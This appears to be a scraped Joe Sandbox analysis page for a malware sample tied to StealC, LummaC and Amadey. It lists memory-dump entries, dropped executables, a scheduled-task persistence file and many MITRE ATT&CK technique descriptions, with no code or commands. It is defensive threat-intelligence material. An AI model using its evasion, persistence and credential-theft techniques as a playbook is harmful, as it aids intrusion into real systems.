Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 3110ff7dba883e6ea8a6d1f28ccb0616390a0700d03cc01c1c62fab1107f3bb2
Instruction ID: 7dcc11c22e002194ca62c259bc46fbc17c34dcb3af595c549f3c5988175dcffd
Opcode Fuzzy Hash: 3110ff7dba883e6ea8a6d1f28ccb0616390a0700d03cc01c1c62fab1107f3bb2
Instruction Fuzzy Hash: 59E08C3484064CB6CF26FB56D84FADCB7A89B35709F54C122B924220D19BF497E8CA91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Idau8QuYa3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1024077001\f5a1a3b065.exe

C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe

C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaiintain.exe

C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Windows\Tasks\skotes.job

Static File Info

General

File Icon

Windows Analysis Report
Idau8QuYa3.exe

Function 00835C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Function 00839BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Function 00839F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Function 0083A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre